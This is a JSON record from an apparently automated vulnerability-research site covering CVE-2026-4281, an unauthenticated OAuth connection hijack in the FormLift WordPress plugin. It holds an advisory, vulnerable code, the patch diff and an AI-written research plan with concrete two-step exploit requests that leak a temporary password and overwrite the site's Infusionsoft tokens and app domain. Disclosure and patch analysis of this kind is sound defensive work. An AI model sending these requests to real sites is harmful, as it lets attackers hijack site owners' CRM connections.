[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fgtQDJjjXAJvYmhupI8L7Gd8LhXQzwZ0Ou48DwQ3j-3A":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-4281","formlift-for-infusionsoft-web-forms-missing-authorization-to-unauthenticated-infusionsoft-connection-hijack-via-oauth-co","FormLift for Infusionsoft Web Forms \u003C= 7.5.21 - Missing Authorization to Unauthenticated Infusionsoft Connection Hijack via OAuth Connection Flow","The FormLift for Infusionsoft Web Forms plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 7.5.21. This is due to missing capability checks on the connect() and listen_for_tokens() methods of the FormLift_Infusionsoft_Manager class, both of which are hooked to 'plugins_loaded' and execute on every page load. The connect() function generates an OAuth connection password and leaks it in the redirect Location header without verifying the requesting user is authenticated or authorized. The listen_for_tokens() function only validates the temporary password but performs no user authentication before calling update_option() to save attacker-controlled OAuth tokens and app domain. This makes it possible for unauthenticated attackers to hijack the site's Infusionsoft connection by first triggering the OAuth flow to obtain the temporary password, then using that password to set arbitrary OAuth tokens and app domain via update_option(), effectively redirecting the plugin's API communication to an attacker-controlled server.","formlift",null,"\u003C=7.5.21","7.5.22","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-03-25 14:51:55","2026-03-26 03:37:28",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa65cc674-a0ea-46b9-b609-b184e1f7ca8e?source=api-prod",1,[22,23,24],"FormLift.php","README.txt","modules\u002Fapi\u002Finfusionsoft-manager.php","researched",false,3,"# Vulnerability Research Plan: CVE-2026-4281 (FormLift for Infusionsoft Hijack)\n\n## 1. Vulnerability Summary\nThe **FormLift for Infusionsoft Web Forms** plugin (\u003C= 7.5.21) contains a critical missing authorization vulnerability in the `FormLift_Infusionsoft_Manager` class. Specifically, the methods `connect()` and `listen_for_tokens()` are hooked to `plugins_loaded` and execute on every page load without verifying user capabilities or using nonces. \n\nAn unauthenticated attacker can trigger the OAuth connection flow to generate and leak a temporary \"connection password\" (`OauthClientPass`). The attacker can then use this password to invoke the token listener, allowing them to overwrite the site's Infusionsoft API credentials (`appDomain`, `access_token`, `refresh_token`) with values pointing to an attacker-controlled Infusionsoft application or a malicious proxy.\n\n## 2. Attack Vector Analysis\n- **Endpoints:** Any frontend or backend URL (since the vulnerable functions are hooked to `plugins_loaded`). Typically, the site root `\u002F` or `wp-admin\u002Fadmin-ajax.php`.\n- **Preconditions:** The plugin must be active. No specific settings or existing connection is required.\n- **Vulnerable Parameters:**\n    - Trigger 1 (Password Generation): `formlift_form_settings[activate_OAuth]` (POST)\n    - Trigger 2 (Token Update): `OauthClientPass`, `appDomain`, `access_token`, `refresh_token`, `expires_in` (GET\u002FPOST\u002FREQUEST)\n- **Authentication:** Unauthenticated (No user required).\n\n## 3. Code Flow\n1.  **Entry Point (Listener Registration):**\n    In `modules\u002Fapi\u002Finfusionsoft-manager.php`, hooks are registered:\n    ```php\n    add_action( 'plugins_loaded', array( 'FormLift_Infusionsoft_Manager', 'listen_for_tokens' ) );\n    add_action( 'plugins_loaded', array( 'FormLift_Infusionsoft_Manager', 'connect' ) );\n    ```\n2.  **Triggering Password Leak (`connect()`):**\n    - The `connect()` method checks for `isset( $_POST[ FORMLIFT_SETTINGS ]['activate_OAuth'] )`. `FORMLIFT_SETTINGS` is defined as `'formlift_form_settings'`.\n    - It generates a password: `$pass = wp_generate_password( 8, false, false );`.\n    - It stores it in a transient: `set_transient( 'formlift_auth_pass', $pass, 60 * 5 );`.\n    - It redirects the user: `wp_redirect( static::AUTH_URI . '?' . $query );`. \n    - The `$query` includes `'OauthClientPass' => $pass`. Because there is no `current_user_can()` check, any visitor can trigger this and see the password in the `Location` header.\n\n3.  **Exploiting Hijack (`listen_for_tokens()`):**\n    - The `listen_for_tokens()` method checks for `isset( $_REQUEST['OauthClientPass'] )`.\n    - It verifies the provided password against the transient: `if ( $pass != $_REQUEST['OauthClientPass'] )`.\n    - If valid, it extracts `appDomain`, `access_token`, `refresh_token`, and `expires_in` from `$_REQUEST`.\n    - It calls `update_option( 'Oauth_App_Domain', $app_domain );`.\n    - It calls `static::$app->updateAndSaveTokens(...)`, which saves the tokens to the database.\n\n## 4. Nonce Acquisition Strategy\n**No nonces are required.**\nThe functions `connect()` and `listen_for_tokens()` do not utilize `check_admin_referer()`, `check_ajax_referer()`, or `wp_verify_nonce()`. The only \"security\" is the temporary password stored in a transient, which the attacker can obtain by triggering the first stage of the vulnerability.\n\n## 5. Exploitation Strategy\n\n### Step 1: Obtain the temporary `OauthClientPass`\nSend a POST request to the WordPress site. We must prevent the `http_request` tool from following redirects so we can capture the `Location` header.\n\n- **Request Type:** POST\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002F`\n- **Body:** `formlift_form_settings[activate_OAuth]=1`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Expected Response:** 302 Redirect.\n- **Extraction:** Parse the `Location` header for the `OauthClientPass` parameter value.\n\n### Step 2: Inject Malicious Connection Tokens\nUse the extracted password to overwrite the plugin's Infusionsoft settings.\n\n- **Request Type:** POST (or GET)\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002F`\n- **Body Parameters:**\n    - `OauthClientPass`: `[EXTRACTED_PASSWORD]`\n    - `appDomain`: `attacker-app.infusionsoft.com`\n    - `access_token`: `MALICIOUS_ACCESS_TOKEN_12345`\n    - `refresh_token`: `MALICIOUS_REFRESH_TOKEN_67890`\n    - `expires_in`: `3600`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Expected Response:** 302 Redirect (to the FormLift settings page).\n\n## 6. Test Data Setup\n1.  Install and activate the FormLift plugin version 7.5.21.\n2.  No further configuration is necessary as the attack is unauthenticated and works on default installations.\n\n## 7. Expected Results\n- After Step 1, the response's `Location` header will contain a URL like `https:\u002F\u002Fformlift.net\u002Foauth\u002F?redirectUri=...&OauthConnect=true&OauthClientPass=ABCDEFGH`.\n- After Step 2, the WordPress database will be updated with the attacker's `appDomain` and tokens.\n\n## 8. Verification Steps\nUse WP-CLI to inspect the modified options:\n1.  **Check the App Domain:**\n    `wp option get Oauth_App_Domain`\n    *Expected: `attacker-app.infusionsoft.com`*\n2.  **Check the Connection Status:**\n    `wp option get oauth_last_status`\n    *Expected: A string containing \"Authorized token at [DATE] for app attacker-app.infusionsoft.com\"*\n3.  **Check if Transient is Cleared:**\n    `wp transient get formlift_auth_pass`\n    *Expected: Error or empty (indicating the exploit successfully called delete_transient).*\n\n## 9. Alternative Approaches\nIf POST is blocked for some reason on Step 1, note that `connect()` specifically checks `$_POST`, so POST is required for the initial leak. However, `listen_for_tokens()` uses `$_REQUEST`, so Step 2 can be performed via a simple GET request:\n`GET \u002F?OauthClientPass=PASS&appDomain=...&access_token=...&refresh_token=...&expires_in=3600`","The FormLift for Infusionsoft Web Forms plugin up to version 7.5.21 lacks authorization checks and nonce verification on its OAuth connection functions. This allows unauthenticated attackers to initiate an OAuth flow, capture a leaked temporary password from a redirect, and then use that password to overwrite the site's Infusionsoft API credentials and application domain.","\u002F\u002F modules\u002Fapi\u002Finfusionsoft-manager.php:20\n\tpublic static function connect() {\n\t\tif ( isset( $_POST[ FORMLIFT_SETTINGS ]['activate_OAuth'] ) ) {\n\t\t\t$pass = wp_generate_password( 8, false, false );\n\n\t\t\tset_transient( 'formlift_auth_pass', $pass, 60 * 5 );\n\n\t\t\t$params = array(\n\t\t\t\t'redirectUri'     => admin_url( 'edit.php?post_type=infusion_form&page=formlift_settings_page' ),\n\t\t\t\t'OauthConnect'    => true,\n\t\t\t\t'OauthClientPass' => $pass\n\t\t\t);\n\n\t\t\t$query = http_build_query( $params );\n\n\t\t\twp_redirect( static::AUTH_URI . '?' . $query ); \u002F\u002FSend To OAuth Page...\n\t\t\tdie();\n\t\t}\n\t}\n\n---\n\n\u002F\u002F modules\u002Fapi\u002Finfusionsoft-manager.php:45\n\tpublic static function listen_for_tokens() {\n\t\tif ( isset( $_REQUEST['OauthClientPass'] ) ) {\n\n\t\t\t$pass = get_transient( 'formlift_auth_pass' );\n\n\t\t\tif ( empty( $pass ) ) {\n\t\t\t\twp_die( 'Could not verify server authorization for ' . site_url() . '. Please Try Again.' );\n\t\t\t} elseif ( $pass != $_REQUEST['OauthClientPass'] ) {\n\t\t\t\twp_die( 'Incorrect password. Please try again...' );\n\t\t\t}\n\n\t\t\t$app_domain    = sanitize_text_field( $_REQUEST['appDomain'] );\n\t\t\t$access_token  = sanitize_text_field( $_REQUEST['access_token'] );\n\t\t\t$refresh_token = sanitize_text_field( $_REQUEST['refresh_token'] );\n\t\t\t$expires_in    = sanitize_text_field( $_REQUEST['expires_in'] );\n\n\t\t\tstatic::$app = new FormLift_App( $app_domain );\n\t\t\tstatic::$app->updateAndSaveTokens( $access_token, $refresh_token, $expires_in );\n\n\t\t\tupdate_option( 'Oauth_App_Domain', $app_domain );\n            \u002F\u002F ...","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fformlift\u002F7.5.21\u002FFormLift.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fformlift\u002F7.5.22\u002FFormLift.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fformlift\u002F7.5.21\u002FFormLift.php\t2025-06-27 16:28:16.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fformlift\u002F7.5.22\u002FFormLift.php\t2026-03-24 16:50:44.000000000 +0000\n@@ -2,7 +2,7 @@\n \u002F*\n  * Plugin Name: FormLift\n  * Description: The Ultimate Web Form Solution for WordPress and Infusionsoft. Style your web forms, create personalized pages, and create epic automation with them too.\n- * Version: 7.5.21\n+ * Version: 7.5.22\n  * Author: Adrian Tobey\n  * Plugin URI: https:\u002F\u002Fformlift.net\n  * Author URI: https:\u002F\u002Fformlift.net\u002Fblog\n@@ -15,7 +15,7 @@\n \texit;\n }\n \n-define( 'FORMLIFT_VERSION', '7.5.21' );\n+define( 'FORMLIFT_VERSION', '7.5.22' );\n define( 'FORMLIFT_CSS_VERSION', '7.5.17' );\n define( 'FORMLIFT_JS_VERSION', '7.5.14' );\n define( 'FORMLIFT_VERSION_KEY', 'formlift_db_version' );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fformlift\u002F7.5.21\u002Fmodules\u002Fapi\u002Finfusionsoft-manager.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fformlift\u002F7.5.22\u002Fmodules\u002Fapi\u002Finfusionsoft-manager.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fformlift\u002F7.5.21\u002Fmodules\u002Fapi\u002Finfusionsoft-manager.php\t2021-04-01 20:25:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fformlift\u002F7.5.22\u002Fmodules\u002Fapi\u002Finfusionsoft-manager.php\t2026-03-24 16:50:44.000000000 +0000\n@@ -18,7 +18,18 @@\n \t}\n \n \tpublic static function connect() {\n+\n \t\tif ( isset( $_POST[ FORMLIFT_SETTINGS ]['activate_OAuth'] ) ) {\n+\n+\t\t\tif ( ! is_user_logged_in() || ! current_user_can( 'manage_options' ) ) {\n+\t\t\t\twp_die( 'You do not have permission to perform this action.' );\n+\t\t\t}\n+\n+\t\t\t\u002F\u002F nonce located in settings-page.php\n+\t\t\tif ( ! isset( $_POST['formlift_options'] ) || ! wp_verify_nonce( $_POST['formlift_options'], 'update' ) ) {\n+\t\t\t\twp_die( 'Nonce verification failed.' );\n+\t\t\t}\n+\n \t\t\t$pass = wp_generate_password( 8, false, false );\n \n \t\t\tset_transient( 'formlift_auth_pass', $pass, 60 * 5 );\n@@ -45,6 +56,10 @@\n \tpublic static function listen_for_tokens() {\n \t\tif ( isset( $_REQUEST['OauthClientPass'] ) ) {\n \n+\t\t\tif ( ! is_user_logged_in() || ! current_user_can( 'manage_options' ) ) {\n+\t\t\t\twp_die( 'Unauthorized access.' );\n+\t\t\t}\n+\n \t\t\t$pass = get_transient( 'formlift_auth_pass' );\n \n \t\t\tif ( empty( $pass ) ) {","An unauthenticated attacker can hijack the Infusionsoft connection using two steps. First, the attacker sends a POST request to any site endpoint with 'formlift_form_settings[activate_OAuth]=1'. The connect() method executes on 'plugins_loaded', generates a transient-based 'OauthClientPass', and redirects the visitor to an external URL containing this password in the query string. By capturing the 'Location' header, the attacker obtains the password. Second, the attacker sends a request to the site containing 'OauthClientPass', 'appDomain', 'access_token', and 'refresh_token'. Because listen_for_tokens() also lacks authentication checks and only verifies the password, it will update the site's Infusionsoft configuration with the attacker's malicious credentials and domain.","gemini-3-flash-preview","2026-04-17 22:49:00","2026-04-17 22:49:17",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","7.5.21","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fformlift\u002Ftags\u002F7.5.21","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fformlift.7.5.21.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fformlift\u002Ftags\u002F7.5.22","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fformlift.7.5.22.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fformlift\u002Ftags"]